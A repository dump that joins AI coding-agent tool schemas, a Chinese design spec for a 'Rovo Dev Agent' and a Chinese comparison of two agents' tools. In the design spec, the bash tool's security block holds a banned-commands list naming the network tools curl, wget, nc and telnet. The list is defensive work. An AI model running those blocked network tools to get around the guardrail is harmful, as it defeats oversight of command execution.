the exact literal text to replace `old_string` with (also including all whitespace, indentation, newlines, and surrounding code etc.). Ensure the resulting code is correct and idiomatic.\n4. NEVER escape `old_string` or `new_string`, that would break the exact literal text requirement.\n**Important:** If ANY of the above are not satisfied, the tool will fail. CRITICAL for `old_string`: Must uniquely identify the single instance to change. Include at least 3 lines of context BEFORE and AFTER the target text, matching whitespace and indentation precisely. If this string matches multiple locations, or does not match exactly, the tool will fail.\n**Multiple replacements:** Set `expected_replacements` to the number of occurrences you want to replace. The tool will replace ALL occurrences that match `old_string` exactly. Ensure the number of replacements matches your expectation.\n", 100 | "parameters": { 101 | "type": "object", 102 | "properties": { 103 | "file_path": { 104 | "type": "string", 105 | "description": "The absolute path to the file to modify. Must start with '/'." 106 | }, 107 | "new_string": { 108 | "type": "string", 109 | "description": "The exact literal text to replace `old_string` with, preferably unescaped. Provide the EXACT text. Ensure the resulting code is correct and idiomatic." 110 | }, 111 | "old_string": { 112 | "type": "string", 113 | "description": "The exact literal text to replace, preferably unescaped. For single replacements (default), include at least 3 lines of context BEFORE and AFTER the target text, matching whitespace and indentation precisely. For multiple replacements, specify expected_replacements parameter. If this string is not the exact literal text (i.e. you escaped it) or does not match exactly, the tool will fail." 114 | }, 115 | "expected_replacements": { 116 | "type": "number", 117 | "description": "Number of replacements expected. Defaults to 1 if not specified. Use when you want to replace multiple occurrences." 118 | } 119 | }, 120 | "required": ["file_path", "new_string", "old_string"] 121 | } 122 | }, 123 | { 124 | "name": "write_file", 125 | "description": "Writes content to a specified file in the local filesystem. \n \n The user has the ability to modify `content`. If modified, this will be stated in the response.\n", 126 | "parameters": { 127 | "type": "object", 128 | "properties": { 129 | "content": { 130 | "type": "string", 131 | "description": "The content to write to the file." 132 | }, 133 | "file_path": { 134 | "type": "string", 135 | "description": "The absolute path to the file to write to (e.g., '/home/user/project/file.txt'). Relative paths are not supported." 136 | } 137 | }, 138 | "required": ["content", "file_path"] 139 | } 140 | }, 141 | { 142 | "name": "web_fetch", 143 | "description": "Processes content from URL(s), including local and private network addresses (e.g., localhost), embedded in a prompt. Include up to 20 URLs and instructions (e.g., summarize, extract specific data) directly in the 'prompt' parameter.", 144 | "parameters": { 145 | "type": "object", 146 | "properties": { 147 | "prompt": { 148 | "type": "string", 149 | "description": "A comprehensive prompt that includes the URL(s) (up to 20) to fetch and specific instructions on how to process their content (e.g., \"Summarize https://example.com/article and extract key points from https://another.com/data\"). Must contain as least one URL starting with http:// or https://." 150 | } 151 | }, 152 | "required": ["prompt"] 153 | } 154 | }, 155 | { 156 | "name": "read_many_files", 157 | "description": "Reads content from multiple files specified by paths or glob patterns within a configured target directory. For text files, it concatenates their content into a single string. It is primarily designed for text-based files. However, it can also process image (e.g., .png, .jpg) and PDF (.pdf) files if their file names or extensions are explicitly included in the 'paths' argument. For these explicitly requested non-text files, their data is read and included in a format suitable for model consumption (e.g., base64 encoded).\n\nThis tool is useful when you need to understand or analyze a collection of files, such as:\n- Getting an overview of a codebase or parts of it (e.g., all TypeScript files in the 'src' directory).\n- Finding where specific functionality is implemented if the user asks broad questions about code.\n- Reviewing documentation files (e.g., all Markdown files in the 'docs' directory).\n- Gathering context from multiple configuration files.\n- When the user asks to \"read all files in X directory\" or \"show me the content of all Y files\".\n\nUse this tool when the user's query implies needing the content of several files simultaneously for context, analysis, or summarization. For text files, it uses default UTF-8 encoding and a '--- {filePath} ---' separator between file contents. Ensure paths are relative to the target directory. Glob patterns like 'src/**/*.js' are supported. Avoid using for single files if a more specific single-file reading tool is available, unless the user specifically requests to process a list containing just one file via this tool. Other binary files (not explicitly requested as image/PDF) are generally skipped. Default excludes apply to common non-text files (except for explicitly requested images/PDFs) and large dependency directories unless 'useDefaultExcludes' is false.\n", 158 | "parameters": { 159 | "type": "object", 160 | "properties": { 161 | "paths": { 162 | "type": "array", 163 | "items": { 164 | "type": "string" 165 | }, 166 | "description": "Required. An array of glob patterns or paths relative to the tool's target directory. Examples: ['src/**/*.ts'], ['README.md', 'docs/']" 167 | }, 168 | "exclude": { 169 | "type": "array", 170 | "items": { 171 | "type": "string" 172 | }, 173 | "description": "Optional. Glob patterns for files/directories to exclude. Added to default excludes if useDefaultExcludes is true. Example: [\"**/*.log\", \"temp/\"]" 174 | }, 175 | "include": { 176 | "type": "array", 177 | "items": { 178 | "type": "string" 179 | }, 180 | "description": "Optional. Additional glob patterns to include. These are merged with `paths`. Example: [\"*.test.ts\"] to specifically add test files if they were broadly excluded." 181 | }, 182 | "recursive": { 183 | "type": "boolean", 184 | "description": "Optional. Whether to search recursively (primarily controlled by `**` in glob patterns). Defaults to true." 185 | }, 186 | "respect_git_ignore": { 187 | "type": "boolean", 188 | "description": "Optional. Whether to respect .gitignore patterns when discovering files. Only available in git repositories. Defaults to true." 189 | }, 190 | "useDefaultExcludes": { 191 | "type": "boolean", 192 | "description": "Optional. Whether to apply a list of default exclusion patterns (e.g., node_modules, .git, binary files). Defaults to true." 193 | } 194 | }, 195 | "required": ["paths"] 196 | } 197 | }, 198 | { 199 | "name": "run_shell_command", 200 | "description": "This tool executes a given shell command as `bash -c `. Command can start background processes using `&`. Command is executed as a subprocess that leads its own process group. Command process group can be terminated as `kill -- -PGID` or signaled as `kill -s SIGNAL -- -PGID`.\n\nThe following information is returned:\n\nCommand: Executed command.\nDirectory: Directory (relative to project root) where command was executed, or `(root)`.\nStdout: Output on stdout stream. Can be `(empty)` or partial on error and for any unwaited background processes.\nStderr: Output on stderr stream. Can be `(empty)` or partial on error and for any unwaited background processes.\nError: Error or `(none)` if no error was reported for the subprocess.\nExit Code: Exit code or `(none)` if terminated by signal.\nSignal: Signal number or `(none)` if no signal was received.\nBackground PIDs: List of background processes started or `(none)`.\nProcess Group PGID: Process group started or `(none)`\n", 201 | "parameters": { 202 | "type": "object", 203 | "properties": { 204 | "command": { 205 | "type": "string", 206 | "description": "Exact bash command to execute as `bash -c `" 207 | }, 208 | "description": { 209 | "type": "string", 210 | "description": "Brief description of the command for the user. Be specific and concise. Ideally a single sentence. Can be up to 3 sentences for clarity. No line breaks." 211 | }, 212 | "directory": { 213 | "type": "string", 214 | "description": "(OPTIONAL) Directory to run the command in, if not the project root directory. Must be relative to the project root directory and must already exist." 215 | } 216 | }, 217 | "required": ["command"] 218 | } 219 | }, 220 | { 221 | "name": "save_memory", 222 | "description": "Saves a specific piece of information or fact to your long-term memory.\n\nUse this tool:\n\n- When the user explicitly asks you to remember something (e.g., \"Remember that I like pineapple on pizza\", \"Please save this: my cat's name is Whiskers\").\n- When the user states a clear, concise fact about themselves, their preferences, or their environment that seems important for you to retain for future interactions to provide a more personalized and effective assistance.\n\nDo NOT use this tool:\n\n- To remember conversational context that is only relevant for the current session.\n- To save long, complex, or rambling pieces of text. The fact should be relatively short and to the point.\n- If you are unsure whether the information is a fact worth remembering long-term. If in doubt, you can ask the user, \"Should I remember that for you?\"\n\n## Parameters\n\n- `fact` (string, required): The specific fact or piece of information to remember. This should be a clear, self-contained statement. For example, if the user says \"My favorite color is blue\", the fact would be \"My favorite color is blue\".\n", 223 | "parameters": { 224 | "type": "object", 225 | "properties": { 226 | "fact": { 227 | "type": "string", 228 | "description": "The specific fact or piece of information to remember. Should be a clear, self-contained statement." 229 | } 230 | }, 231 | "required": ["fact"] 232 | } 233 | }, 234 | { 235 | "name": "google_web_search", 236 | "description": "Performs a web search using Google Search (via the Gemini API) and returns the results. This tool is useful for finding information on the internet based on a query.", 237 | "parameters": { 238 | "type": "object", 239 | "properties": { 240 | "query": { 241 | "type": "string", 242 | "description": "The search query to find information on the web." 243 | } 244 | }, 245 | "required": ["query"] 246 | } 247 | } 248 | ] -------------------------------------------------------------------------------- /rovo-dev/rovo-dev-agent-design.json: -------------------------------------------------------------------------------- 1 | { 2 | "agent_name": "Rovo Dev Agent", 3 | "version": "1.0.0", 4 | "description": "综合型 AI Coding Agent,结合多家工具优势与 Rovo Dev 能力", 5 | "design_philosophy": { 6 | "user_experience": "智能协作式界面", 7 | "response_style": "详细分析 + 简洁执行", 8 | "task_execution": "自主性与协作性并重", 9 | "security_strategy": "多层安全机制", 10 | "extensibility": "模块化插件架构" 11 | }, 12 | 13 | "tool_categories": { 14 | "file_system": { 15 | "description": "文件系统操作工具集", 16 | "tools": [ 17 | { 18 | "name": "open_files", 19 | "description": "打开并查看一个或多个文件", 20 | "source": "rovo_dev", 21 | "parameters": { 22 | "file_paths": { 23 | "type": "array", 24 | "items": {"type": "string"}, 25 | "required": true, 26 | "description": "要打开的文件路径列表" 27 | } 28 | }, 29 | "capabilities": ["批量文件打开", "智能内容展示"], 30 | "limitations": ["需要文件存在"] 31 | }, 32 | { 33 | "name": "expand_code_chunks", 34 | "description": "展开文件中的特定代码块或符号", 35 | "source": "rovo_dev", 36 | "parameters": { 37 | "file_path": {"type": "string", "required": true}, 38 | "patterns": {"type": "array", "items": {"type": "string"}}, 39 | "line_ranges": {"type": "array", "items": {"type": "array"}} 40 | }, 41 | "capabilities": ["符号级定位", "智能代码展开"], 42 | "limitations": ["需要先打开文件"] 43 | }, 44 | { 45 | "name": "find_and_replace_code", 46 | "description": "精确的代码查找和替换", 47 | "source": "rovo_dev", 48 | "parameters": { 49 | "file_path": {"type": "string", "required": true}, 50 | "find": {"type": "string", "required": true}, 51 | "replace": {"type": "string", "required": true} 52 | }, 53 | "capabilities": ["精确字符串匹配", "安全替换"], 54 | "limitations": ["单次操作单个文件"] 55 | }, 56 | { 57 | "name": "create_file", 58 | "description": "创建新文件", 59 | "source": "rovo_dev", 60 | "parameters": { 61 | "file_path": {"type": "string", "required": true}, 62 | "initial_content": {"type": "string", "default": ""}, 63 | "overwrite": {"type": "boolean", "default": false} 64 | }, 65 | "capabilities": ["新文件创建", "覆盖保护"], 66 | "limitations": ["需要有效路径"] 67 | }, 68 | { 69 | "name": "delete_file", 70 | "description": "删除文件", 71 | "source": "rovo_dev", 72 | "parameters": { 73 | "file_path": {"type": "string", "required": true} 74 | }, 75 | "capabilities": ["安全删除"], 76 | "limitations": ["不可恢复"] 77 | } 78 | ] 79 | }, 80 | 81 | "code_intelligence": { 82 | "description": "代码理解和搜索工具", 83 | "tools": [ 84 | { 85 | "name": "grep_file_content", 86 | "description": "在所有文件中搜索内容模式", 87 | "source": "rovo_dev", 88 | "parameters": { 89 | "pattern": {"type": "string", "required": true, "description": "正则表达式搜索模式"} 90 | }, 91 | "capabilities": ["全局内容搜索", "正则表达式支持"], 92 | "limitations": ["可能产生大量结果"] 93 | }, 94 | { 95 | "name": "codebase_search", 96 | "description": "AI驱动的语义代码搜索", 97 | "source": "augment_inspired", 98 | "parameters": { 99 | "query": {"type": "string", "required": true, "description": "自然语言查询"}, 100 | "scope": {"type": "string", "optional": true, "description": "搜索范围"} 101 | }, 102 | "capabilities": ["语义理解", "意图识别", "跨文件关联"], 103 | "limitations": ["需要AI模型支持"] 104 | }, 105 | { 106 | "name": "symbol_search", 107 | "description": "精确的符号级搜索", 108 | "source": "lingma_inspired", 109 | "parameters": { 110 | "symbols": {"type": "array", "items": {"type": "string"}, "required": true}, 111 | "include_references": {"type": "boolean", "default": false} 112 | }, 113 | "capabilities": ["多符号查询", "定义与引用区分"], 114 | "limitations": ["需要语言服务器支持"] 115 | } 116 | ] 117 | }, 118 | 119 | "terminal_execution": { 120 | "description": "终端和进程管理工具", 121 | "tools": [ 122 | { 123 | "name": "bash", 124 | "description": "执行bash命令", 125 | "source": "rovo_dev", 126 | "parameters": { 127 | "command": {"type": "string", "required": true}, 128 | "timeout": {"type": "number", "optional": true, "max": 600000} 129 | }, 130 | "capabilities": ["命令执行", "输出捕获", "超时控制"], 131 | "limitations": ["安全限制", "时间限制"], 132 | "security": { 133 | "command_injection_detection": true, 134 | "banned_commands": ["curl", "wget", "nc", "telnet"], 135 | "user_confirmation": "for_risky_commands" 136 | } 137 | }, 138 | { 139 | "name": "process_management", 140 | "description": "进程生命周期管理", 141 | "source": "augment_inspired", 142 | "parameters": { 143 | "action": {"type": "enum", "values": ["start", "stop", "status", "list"]}, 144 | "command": {"type": "string", "required_if": "action=start"}, 145 | "process_id": {"type": "string", "required_if": "action in [stop,status]"}, 146 | "background": {"type": "boolean", "default": false} 147 | }, 148 | "capabilities": ["后台进程管理", "状态监控", "进程间通信"], 149 | "limitations": ["平台依赖"] 150 | } 151 | ] 152 | }, 153 | 154 | "diagnostics": { 155 | "description": "代码质量和诊断工具", 156 | "tools": [ 157 | { 158 | "name": "get_diagnostics", 159 | "description": "获取代码诊断信息", 160 | "source": "lingma_inspired", 161 | "parameters": { 162 | "file_paths": {"type": "array", "items": {"type": "string"}, "required": true}, 163 | "severity": {"type": "enum", "values": ["error", "warning", "info", "hint"], "default": "warning"}, 164 | "include_suggestions": {"type": "boolean", "default": true} 165 | }, 166 | "capabilities": ["实时错误检测", "修复建议", "多文件批处理"], 167 | "limitations": ["需要语言服务器"] 168 | }, 169 | { 170 | "name": "code_quality_check", 171 | "description": "代码质量综合检查", 172 | "source": "enhanced", 173 | "parameters": { 174 | "paths": {"type": "array", "items": {"type": "string"}}, 175 | "checks": {"type": "array", "items": {"type": "string"}, "default": ["lint", "format", "security"]} 176 | }, 177 | "capabilities": ["多维度质量检查", "自动修复建议"], 178 | "limitations": ["工具链依赖"] 179 | } 180 | ] 181 | }, 182 | 183 | "memory_management": { 184 | "description": "项目记忆和上下文管理", 185 | "tools": [ 186 | { 187 | "name": "project_memory", 188 | "description": "项目级记忆管理", 189 | "source": "claude_inspired", 190 | "parameters": { 191 | "action": {"type": "enum", "values": ["read", "write", "update", "search"]}, 192 | "category": {"type": "enum", "values": ["commands", "preferences", "structure", "notes"]}, 193 | "content": {"type": "string", "required_if": "action in [write,update]"}, 194 | "query": {"type": "string", "required_if": "action=search"} 195 | }, 196 | "capabilities": ["跨会话记忆", "自动更新", "智能检索"], 197 | "limitations": ["本地存储依赖"] 198 | }, 199 | { 200 | "name": "long_term_memory", 201 | "description": "长期记忆存储", 202 | "source": "lingma_inspired", 203 | "parameters": { 204 | "action": {"type": "enum", "values": ["create", "update", "delete", "search"]}, 205 | "title": {"type": "string", "required": true}, 206 | "content": {"type": "string", "required_if": "action in [create,update]"}, 207 | "category": {"type": "enum", "values": ["user_prefer", "project_info", "experience"]}, 208 | "scope": {"type": "enum", "values": ["workspace", "global"]}, 209 | "keywords": {"type": "array", "items": {"type": "string"}} 210 | }, 211 | "capabilities": ["结构化存储", "分类管理", "关键词索引"], 212 | "limitations": ["存储容量限制"] 213 | } 214 | ] 215 | }, 216 | 217 | "collaboration": { 218 | "description": "协作和版本控制工具", 219 | "tools": [ 220 | { 221 | "name": "git_operations", 222 | "description": "Git版本控制操作", 223 | "source": "enhanced", 224 | "parameters": { 225 | "operation": {"type": "enum", "values": ["status", "diff", "commit", "push", "pull", "branch"]}, 226 | "message": {"type": "string", "required_if": "operation=commit"}, 227 | "files": {"type": "array", "items": {"type": "string"}, "optional": true} 228 | }, 229 | "capabilities": ["智能提交消息", "冲突检测", "分支管理"], 230 | "limitations": ["需要Git仓库"] 231 | }, 232 | { 233 | "name": "atlassian_integration", 234 | "description": "Atlassian产品集成", 235 | "source": "rovo_dev", 236 | "parameters": { 237 | "product": {"type": "enum", "values": ["confluence", "jira"]}, 238 | "action": {"type": "string", "required": true}, 239 | "cloud_id": {"type": "string", "required": true} 240 | }, 241 | "capabilities": ["Confluence页面管理", "Jira问题跟踪", "评论协作"], 242 | "limitations": ["需要认证"] 243 | } 244 | ] 245 | }, 246 | 247 | "web_integration": { 248 | "description": "网络和外部资源工具", 249 | "tools": [ 250 | { 251 | "name": "web_search", 252 | "description": "网络搜索", 253 | "source": "augment_inspired", 254 | "parameters": { 255 | "query": {"type": "string", "required": true}, 256 | "num_results": {"type": "number", "default": 5, "max": 10}, 257 | "time_range": {"type": "enum", "values": ["day", "week", "month", "year", "all"], "default": "all"} 258 | }, 259 | "capabilities": ["实时搜索", "结果过滤", "时间范围控制"], 260 | "limitations": ["API配额限制"] 261 | }, 262 | { 263 | "name": "web_fetch", 264 | "description": "网页内容获取", 265 | "source": "augment_inspired", 266 | "parameters": { 267 | "url": {"type": "string", "required": true}, 268 | "format": {"type": "enum", "values": ["markdown", "text", "html"], "default": "markdown"} 269 | }, 270 | "capabilities": ["内容提取", "格式转换", "清理处理"], 271 | "limitations": ["JavaScript渲染限制"] 272 | } 273 | ] 274 | }, 275 | 276 | "task_automation": { 277 | "description": "任务自动化和智能代理", 278 | "tools": [ 279 | { 280 | "name": "autonomous_agent", 281 | "description": "自主任务执行代理", 282 | "source": "claude_inspired", 283 | "parameters": { 284 | "task": {"type": "string", "required": true, "description": "详细任务描述"}, 285 | "context": {"type": "string", "optional": true, "description": "任务上下文"}, 286 | "expected_output": {"type": "string", "optional": true, "description": "期望输出格式"}, 287 | "max_steps": {"type": "number", "default": 10, "max": 50} 288 | }, 289 | "capabilities": ["多步骤任务执行", "状态管理", "错误恢复"], 290 | "limitations": ["复杂度限制", "时间限制"] 291 | }, 292 | { 293 | "name": "task_planner", 294 | "description": "智能任务规划", 295 | "source": "enhanced", 296 | "parameters": { 297 | "goal": {"type": "string", "required": true}, 298 | "constraints": {"type": "array", "items": {"type": "string"}}, 299 | "resources": {"type": "array", "items": {"type": "string"}} 300 | }, 301 | "capabilities": ["任务分解", "依赖分析", "资源规划"], 302 | "limitations": ["规划复杂度限制"] 303 | } 304 | ] 305 | }, 306 | 307 | "visualization": { 308 | "description": "可视化和图表工具", 309 | "tools": [ 310 | { 311 | "name": "mermaid_diagram", 312 | "description": "Mermaid图表生成", 313 | "source": "augment_inspired", 314 | "parameters": { 315 | "diagram_type": {"type": "enum", "values": ["flowchart", "sequence", "class", "state", "gantt"]}, 316 | "definition": {"type": "string", "required": true}, 317 | "title": {"type": "string", "optional": true} 318 | }, 319 | "capabilities": ["多种图表类型", "自动布局", "导出功能"], 320 | "limitations": ["语法复杂度限制"] 321 | }, 322 | { 323 | "name": "code_visualization", 324 | "description": "代码结构可视化", 325 | "source": "enhanced", 326 | "parameters": { 327 | "paths": {"type": "array", "items": {"type": "string"}}, 328 | "visualization_type": {"type": "enum", "values": ["dependency", "call_graph", "class_hierarchy"]} 329 | }, 330 | "capabilities": ["依赖关系图", "调用图", "类层次图"], 331 | "limitations": ["大型项目性能限制"] 332 | } 333 | ] 334 | } 335 | }, 336 | 337 | "prompt_templates": { 338 | "system_prompt": "你是 Rovo Dev Agent,一个智能的 AI 编程助手。你具备以下核心能力:\n\n1. **代码理解与分析**:通过语义搜索和符号定位快速理解代码库\n2. **智能编辑**:精确的代码修改和重构能力\n3. **任务自动化**:复杂编程任务的自主执行\n4. **协作集成**:与 Atlassian 产品和版本控制系统的深度集成\n5. **项目记忆**:跨会话的项目知识管理\n\n**工作原则**:\n- 始终先分析问题,制定详细的执行计划\n- 使用最合适的工具组合完成任务\n- 提供清晰的进度反馈和结果总结\n- 注重代码质量和安全性\n- 支持用户学习和技能提升", 339 | 340 | "task_analysis_template": "## 📋 任务分析\n\n**目标**:{goal}\n\n**关键组件**:\n{components}\n\n**执行步骤**:\n{steps}\n\n**所需工具**:\n{tools}\n\n**风险评估**:\n{risks}", 341 | 342 | "progress_update_template": "## ⚡ 进度更新\n\n**已完成**:\n{completed}\n\n**当前步骤**:{current_step}\n\n**下一步**:{next_step}\n\n**遇到的问题**:\n{issues}", 343 | 344 | "completion_summary_template": "## ✅ 任务完成总结\n\n**目标达成**:{goal_achieved}\n\n**主要变更**:\n{changes}\n\n**质量检查**:\n{quality_checks}\n\n**建议后续步骤**:\n{next_recommendations}" 345 | }, 346 | 347 | "workflow_patterns": { 348 | "code_analysis": [ 349 | "grep_file_content OR codebase_search", 350 | "open_files", 351 | "expand_code_chunks", 352 | "symbol_search (if needed)" 353 | ], 354 | 355 | "code_modification": [ 356 | "open_files", 357 | "expand_code_chunks", 358 | "get_diagnostics (before)", 359 | "find_and_replace_code OR create_file", 360 | "get_diagnostics (after)", 361 | "git_operations (commit)" 362 | ], 363 | 364 | "problem_solving": [ 365 | "get_diagnostics", 366 | "codebase_search OR symbol_search", 367 | "web_search (if needed)", 368 | "autonomous_agent (for complex fixes)", 369 | "code_quality_check" 370 | ], 371 | 372 | "project_setup": [ 373 | "open_files (config files)", 374 | "bash (install dependencies)", 375 | "project_memory (save setup info)", 376 | "get_diagnostics", 377 | "mermaid_diagram (architecture)" 378 | ] 379 | }, 380 | 381 | "integration_capabilities": { 382 | "rovo_platform": { 383 | "confluence_integration": "完整的页面创建、编辑、评论功能", 384 | "jira_integration": "问题跟踪、状态更新、评论协作", 385 | "search_integration": "跨产品的统一搜索体验" 386 | }, 387 | 388 | "development_tools": { 389 | "ide_integration": "语言服务器协议支持", 390 | "git_integration": "智能提交和分支管理", 391 | "ci_cd_integration": "构建状态监控和部署支持" 392 | }, 393 | 394 | "ai_capabilities": { 395 | "semantic_understanding": "代码意图理解和语义搜索", 396 | "intelligent_suggestions": "基于上下文的智能建议", 397 | "automated_reasoning": "复杂问题的自动推理和解决" 398 | } 399 | }, 400 | 401 | "security_framework": { 402 | "command_execution": { 403 | "injection_detection": true, 404 | "command_whitelist": ["npm", "yarn", "git", "python", "node", "java", "mvn", "gradle"], 405 | "user_confirmation": "for_destructive_operations", 406 | "sandbox_execution": "when_available" 407 | }, 408 | 409 | "file_operations": { 410 | "path_validation": true, 411 | "backup_creation": "for_modifications", 412 | "permission_checks": true, 413 | "size_limits": "100MB_per_file" 414 | }, 415 | 416 | "network_access": { 417 | "url_validation": true, 418 | "content_filtering": true, 419 | "rate_limiting": true, 420 | "ssl_verification": "required" 421 | } 422 | }, 423 | 424 | "performance_optimization": { 425 | "concurrent_execution": "支持并行工具调用", 426 | "caching_strategy": "智能缓存搜索结果和文件内容", 427 | "lazy_loading": "按需加载大型文件和目录", 428 | "result_pagination": "大结果集的分页处理" 429 | }, 430 | 431 | "extensibility": { 432 | "plugin_architecture": "模块化工具插件系统", 433 | "custom_tools": "支持用户自定义工具", 434 | "workflow_customization": "可配置的工作流模式", 435 | "integration_apis": "第三方工具集成接口" 436 | } 437 | } -------------------------------------------------------------------------------- /misc/TOOL_COMPARISON_ANALYSIS.md: -------------------------------------------------------------------------------- 1 | # 🔍 AI Agent 工具对比分析 2 | 3 | ## 🎯 核心工具对比表(简化版) 4 | 5 | | 功能类别 | Augment Agent | AutoDev Remote Agent | 状态 | 建议 | 6 | |---------|---------------|---------------------|------|------| 7 | | **文件操作** | `view` + `str-replace-editor` + `save-file` | `read-file` + `str-replace-editor` + `write-file` | ✅ 功能对等 | 保持现有 | 8 | | **进程管理** | 4个进程工具 | 4个进程工具 + 智能终端 | ✅ GitHub更强 | GitHub胜出 | 9 | | **代码搜索** | `codebase-retrieval` (AI语义) | `search-keywords` + `code-search-regex` | ⚠️ Augment更强 | **需要实现** | 10 | | **诊断工具** | `diagnostics` (IDE集成) | ❌ 缺失 | ❌ Augment独有 | **需要实现** | 11 | | **网络功能** | `web-search` + `web-fetch` + `open-browser` | 同样3个工具 + 历史管理 | ✅ GitHub更强 | GitHub胜出 | 12 | | **可视化** | `render-mermaid` | ❌ 缺失 | ❌ Augment独有 | **可选实现** | 13 | | **GitHub集成** | ❌ 缺失 | 6个GitHub工具 | ✅ GitHub独有 | GitHub独有优势 | 14 | 15 |
16 | 📊 点击展开完整功能对比表 17 | 18 | | 功能类别 | Augment Agent | AutoDev Remote Agent (你的工具) | 状态 | 优势对比 | 建议 | 19 | |--------------|----------------------------------------------------------------------|------------------------------------------|--------------|-------------------------------------|------------| 20 | | **文件查看** | `view` (文件/目录查看+正则搜索) | `read-file` + `list-directory` | ✅ 功能对等 | Augment: 统一接口,正则搜索
GitHub: 分离关注点 | 保持现有设计 | 21 | | **文件编辑** | `str-replace-editor` (精确替换+插入) | `str-replace-editor` + `write-file` | ✅ 功能对等 | 基本相同,都支持精确编辑 | 功能完整 | 22 | | **文件管理** | `save-file` (新建文件) | `write-file` (多模式) | ✅ GitHub更强 | GitHub: 支持append/overwrite/create模式 | GitHub胜出 | 23 | | **文件删除** | `remove-files` (批量删除) | `delete-file` (单文件) | ⚠️ Augment更强 | Augment: 支持批量操作 | 考虑添加批量删除 | 24 | | **进程启动** | `launch-process` (wait/background) | `launch-process` + 管理套件 | ✅ GitHub更强 | GitHub: 完整进程管理生态 | GitHub胜出 | 25 | | **进程管理** | `list-processes` + `read-process` + `write-process` + `kill-process` | 同样的4个工具 | ✅ 功能对等 | 基本相同的进程管理能力 | 功能完整 | 26 | | **终端交互** | `read-terminal` (智能解析) | `read-terminal` + `run-terminal-command` | ✅ GitHub更强 | GitHub: 增强的命令执行+智能分析 | GitHub胜出 | 27 | | **诊断工具** | `diagnostics` (IDE错误/警告) | ❌ 缺失 | ❌ Augment独有 | Augment: IDE集成诊断 | **需要实现** | 28 | | **代码搜索** | `codebase-retrieval` (AI语义搜索) | `search-keywords` + `code-search-regex` | ⚠️ Augment更强 | Augment: AI驱动的语义理解 | **需要实现** | 29 | | **网络搜索** | `web-search` (Google搜索) | `web-search` (Google/Bing) | ✅ GitHub更强 | GitHub: 多搜索引擎支持 | GitHub胜出 | 30 | | **网页获取** | `web-fetch` (Markdown转换) | `web-fetch-content` (同功能) | ✅ 功能对等 | 基本相同的网页抓取能力 | 功能完整 | 31 | | **浏览器控制** | `open-browser` (URL打开) | `open-browser` + `browser-history` | ✅ GitHub更强 | GitHub: 增加历史管理 | GitHub胜出 | 32 | | **可视化** | `render-mermaid` (图表渲染) | ❌ 缺失 | ❌ Augment独有 | Augment: 图表可视化能力 | **需要实现** | 33 | | **记忆管理** | `remember` (长期记忆) | ❌ 缺失 | ❌ Augment独有 | Augment: 跨会话上下文保持 | **需要实现** | 34 | | **GitHub集成** | ❌ 缺失 | 6个GitHub工具 | ✅ GitHub独有 | GitHub: 完整的GitHub工作流 | GitHub独有优势 | 35 | | **项目分析** | ❌ 缺失 | `analyze-basic-context` | ✅ GitHub独有 | GitHub: 项目上下文分析 | GitHub独有优势 | 36 | 37 |
38 | 39 | ## 🎯 关键差异分析 40 | 41 | ### ⭐ 优先实现建议 42 | 1. **`diagnostics`** - IDE集成诊断(最重要) 43 | 2. **`codebase-retrieval`** - AI语义搜索(最重要) 44 | 3. **`render-mermaid`** - 图表可视化(可选) 45 | 4. **`remember`** - 长期记忆(可选) 46 | 47 | ### 🏆 你的独有优势 48 | 1. **GitHub生态** - 完整的GitHub工作流集成 49 | 2. **智能终端** - 增强的命令执行和错误分析 50 | 3. **项目分析** - 代码库上下文分析 51 | 4. **进程管理** - 更完整的进程生命周期管理 52 | 53 | --- 54 | 55 |
56 | 📈 详细统计和分析 57 | 58 | ## 📈 工具数量统计 59 | 60 | | Agent | 核心工具数 | 专业工具数 | 总计 | 覆盖领域 | 61 | |-------|-----------|-----------|------|----------| 62 | | **Augment Agent** | 15 | 0 | 15 | 通用开发 | 63 | | **AutoDev Remote Agent** | 18 | 8 | 26 | GitHub专业化 | 64 | 65 | ### Augment Agent 的独有优势 66 | 1. **`diagnostics`** - IDE集成诊断,获取编译错误和警告 67 | 2. **`codebase-retrieval`** - AI驱动的语义代码搜索 68 | 3. **`render-mermaid`** - 图表和流程图可视化 69 | 4. **`remember`** - 长期记忆和上下文保持 70 | 5. **`remove-files`** - 批量文件删除 71 | 72 | ### AutoDev Remote Agent 的独有优势 73 | 1. **GitHub生态** - 完整的GitHub工作流集成 74 | 2. **智能终端** - 增强的命令执行和错误分析 75 | 3. **项目分析** - 代码库上下文分析 76 | 4. **进程管理** - 更完整的进程生命周期管理 77 | 5. **浏览器增强** - 历史管理和安全验证 78 | 79 |
80 | 81 | ## 🤖 AI工具理解优化指南 82 | 83 | ### 📝 工具描述最佳实践 84 | 85 | **推荐模板**: 86 | ``` 87 | "[动作] [对象] with [特殊能力]. Use for: [场景1], [场景2], [场景3]. Best when: [最佳时机]." 88 | ``` 89 | 90 | **参数描述模板**: 91 | ``` 92 | "[参数名]: [类型] - [用途]. Example: [具体例子]. Use when: [使用场景]." 93 | ``` 94 | 95 |
96 | 🔧 详细优化策略和示例 97 | 98 | ### 1. 工具描述优化策略 99 | 100 | #### 当前问题 101 | ```typescript 102 | // 描述太简单,AI难以理解使用场景 103 | installer("read-file", "Read the contents of a file", { 104 | file_path: z.string().describe("Path to the file") 105 | }); 106 | ``` 107 | 108 | #### 改进方案 109 | ```typescript 110 | // 详细描述使用场景和最佳实践 111 | installer("read-file", 112 | "Read file contents with encoding support. Use for: code analysis, config reading, log inspection. Supports line-range reading for large files.", 113 | { 114 | file_path: z.string().describe("File path (relative to workspace). Examples: 'src/index.ts', 'package.json', 'logs/error.log'"), 115 | encoding: z.enum(["utf8", "binary", "base64"]).optional().describe("Encoding format. Use 'utf8' for text files, 'base64' for images"), 116 | line_range: z.object({ 117 | start: z.number().describe("Start line (1-based). Use for reading specific sections"), 118 | end: z.number().describe("End line (-1 for file end). Useful for large files") 119 | }).optional().describe("Read specific line range to avoid memory issues with large files") 120 | } 121 | ); 122 | ``` 123 | 124 | ### 2. 使用场景文档化 125 | 126 | #### 为每个工具添加使用场景 127 | ```typescript 128 | interface ToolUsageGuide { 129 | tool: string; 130 | primaryUseCase: string; 131 | scenarios: Array<{ 132 | situation: string; 133 | example: string; 134 | parameters: Record; 135 | }>; 136 | bestPractices: string[]; 137 | commonMistakes: string[]; 138 | relatedTools: string[]; 139 | } 140 | ``` 141 | 142 | ### 3. 工具组合模式 143 | 144 | #### 定义常见的工具链 145 | ```typescript 146 | const COMMON_WORKFLOWS = { 147 | "代码分析流程": [ 148 | "1. codebase-retrieval - 找到相关代码", 149 | "2. read-file - 读取具体文件", 150 | "3. search-keywords - 查找特定符号", 151 | "4. diagnostics - 检查错误" 152 | ], 153 | 154 | 